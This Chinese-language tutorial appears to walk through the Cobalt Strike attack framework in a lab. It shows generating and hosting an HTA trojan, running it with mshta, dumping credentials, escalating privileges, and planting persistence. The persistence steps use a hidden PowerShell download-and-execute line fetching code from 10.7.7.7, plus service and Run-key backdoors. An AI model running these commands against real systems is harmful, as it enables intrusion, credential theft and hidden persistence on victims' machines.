# Coablt strike 总结
介绍
1 2 3
| Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
|
Kali 启动 Coablt strike
![image-20210511144225129]()
1 2 3
| kali 利用java 命令进行连接 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar 或者./cobaltstrike 运行
|
![image-20210511144911782]()
# 参数介绍
Cobalt Strike
![image-20210511145541631]()
View
![image-20210511150003413]()
Attacks
Packages
![image-20210511150259624]()
Web Drive-by
![image-20210511150711981]()
Help
![image-20210511150856139]()
# 工具栏详解
![image-20210511151221296]()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 1.新建连接 2.断开当前连接 3.监听器 4.改变视图为Pivot Graph(视图列表) 5.改变视图为Session Table(会话列表) 6.改变视图为Target Table(目标列表) 7.显示所有以获取的受害主机的凭证 8.查看已下载文件 9.查看键盘记录结果 10.查看屏幕截图 11.生成无状态的可执行exe木马 12.使用java自签名的程序进行钓鱼攻击 13.生成office宏病毒文件 14.为payload提供web服务以便下载和执行 15.提供文件下载,可以选择Mime类型 16.管理Cobalt Strike上运行的web服务 17.帮助 18.关于
|
# 创建监听器
点击 Cobalt Strike -> Listeners->Add,其中内置了九个 Listener
1 2 3 4 5 6 7 8
| windows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_dns_txt windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp
|
其中 windows/beacon 为内置监听器,包括 dns、http、https、smb 四种方式的监听器;windows/foreign 为外部监听器,配合 Metasploit 或者 Armitage 的监听器。
![image-20210511152311685]()
保存后生成监听器
![image-20210511152348673]()
# 生成木马
1
| 点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可
|
![image-20210511152917868]()
![image-20210511152934569]()
# 开启 Web 服务
点击 Attacks->Web Drive-by->Host File,选择刚刚生成的木马 evil.hta,点击 Launch 生成下载链接
![image-20210511153215301]()
![image-20210511153236256]()
# 运行木马
打开受害机 cmd,运行 mshta 命令。mshta.exe 是微软 Windows 操作系统相关程序,用于执行.HTA 文件。
1
| mshta http://10.7.7.7/download/file.ext
|
![image-20210511164256818]()
返回 CS 即可看到肉鸡上线
![image-20210511164319933]()
选中受害机右击,选择 interact,即可进行交互,由于受害机默认 60 秒进行一次回传,为了实验效果我们这里把时间设置成 5,但实际中频率不宜过快,容易被发现。
![image-20210511164402862]()
# 端口扫描
右键一个 beacon,选择目标–> 端口扫描或在 beacon 中使用命令 portscan [ip] 命令 随后 Cobaltstrike 会自动识别目标机所在的内网 ip 段,可选择 ARP,ICMP,none 三种方式进行扫描,ports 中填入你要扫描的端口
![image-20210511195725297]()
![image-20210511195752693]()
查看到扫描到的
![image-20210511200136133]()
![image-20210511200111358]()
# 导出报告
点击 Reporting->Activity Report,导出默认 PDF 文档
![image-20210511164511677]()
# 提取密码
1 2
| hashdump 提取hash logonpasswords 破解密码
|
![image-20210511200913602]()
查看破解的密码
![image-20210511201314538]()
# 权限提升
利用 Spawn As 监听一个 SMB
![image-20210511201644913]()
![image-20210511201727530]()
![image-20210511201851959]()
·进入Target
使用 psexec 来提升权限
![image-20210511202023537]()
![image-20210511202113089]()
成功提权 system 权限
![image-20210511202405390]()
尝试利用 exp 进行提权
![image-20210511212157786]()
# 权限维持
先创建一个监听后门
![image-20210511212340086]()
![image-20210511212458648]()
将其复制出来
1
| powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.7.7.7:80/d'))"
|
利用 SC
命令创建 windows 服务名,设置为开机自启
1
| shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.7.7.7:80/d'))\"
|
![image-20210511213150659]()
通过可执行文件留下维持权限的后门
首先需要在目标主机上传一个木马,记住路径,然后对目标主机执行 beacon 命令
1 2 3 4 5
| shell sc create "backdoor" binpath= "C:\Users\Administrator\Desktop\backdoor.exe(填写自己木马的路径)"
sc description "backdoor" "description" 设置服务的描述字符串 sc config "server power" start= auto 设置这个服务为自动启动 net start "server power" 启动服务
|
注册表留后门
1
| reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\backdoor.exe"(自己木马路径) /f
|
把后门加到开机启动:
1
| shell copy backdoor.exe "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
|
# Beacon
当受害机上线以后,右击选择 Interact,就可以打开 Beacon Console
在 beacon 处输入 help 可以看到命令说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| Beacon Commands ===============
Command Description ------- ----------- argue 进程参数欺骗 blockdlls 在子进程中阻止非Microsoft的DLLs文件 browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect 通过TCP连接到Beacon covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs 对当前令牌启用系统权限 getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link 通过命名管道连接到Beacon logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 给当前目标机器备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid 为生成的post-ex任务设置父PID ps 显示进程列表 psexec 使用服务在主机上生成会话 psexec_psh 使用PowerShell在主机上生成会话 psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg 查询注册表 rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu 在另一个PID下执行程序 screenshot 屏幕截图 setenv 设置环境变量 shell cmd执行命令 shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn 生成一个会话 spawnas 以其他用户身份生成会话 spawnto 将可执行程序注入进程 spawnu 在另一个PID下生成会话 ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink 断开与Beacon的连接 upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话
|
可用 help + 命令的方式查看具体命令参数说明
![image-20210511164648825]()
1 2
| 之前说过CS与受害机默认60s进行一次交互,为了方便实验我们可以把时间设置为0 beacon>sleep 0
|